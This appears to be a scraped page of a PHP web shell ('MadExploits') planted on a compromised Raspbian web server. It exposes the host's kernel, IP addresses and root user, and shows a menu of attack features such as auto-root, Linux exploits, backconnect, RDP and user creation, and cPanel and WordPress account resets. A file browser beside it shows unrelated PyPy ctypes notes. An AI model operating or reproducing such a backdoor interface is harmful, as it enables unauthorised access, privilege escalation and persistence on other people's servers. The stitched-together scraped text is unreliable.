Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
pypy /
lib_pypy /
_ctypes /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
1.47
KB
-rw-r--r--
array.py
9.31
KB
-rw-r--r--
basics.py
9.15
KB
-rw-r--r--
builtin.py
1.21
KB
-rw-r--r--
dll.py
191
B
-rw-r--r--
dummy.py
118
B
-rw-r--r--
function.py
24.89
KB
-rw-r--r--
keepalive.txt
1005
B
-rw-r--r--
pointer.py
6.35
KB
-rw-r--r--
primitive.py
14.29
KB
-rw-r--r--
structure.py
11.63
KB
-rw-r--r--
union.py
167
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : keepalive.txt
Few rules about ctypes keepalives: * Ownership: the memory is freed when owner of this memory is deleted. Owner is the one who allocated the memory. So if we have: a = c_int(3) b = c_int.from_address(a._buffer.buffer) # pypy notion of address access only a frees memory. * _objects: each ctypes object has (eventually) _objects dictionary in which it simply keeps objects to be kept alive. * there are (some) rules about when to put stuff in it's objects when accessing the fields etc. need to list them here. * each object has _objects dictionary. In this dict stuff is stored per key, which should be a tuple of indices of storages. places storing stuff in _objects: * array item assignement, if we share the storage * pointer item assignement, if we share the storage * getitem on CDLL stores function pointer * CFuncPtr.__new__ (assuming that it's a ctypes callable), stores itself (XXX???) * set contents on pointer * set value on primitive or __init__ on primitive
Close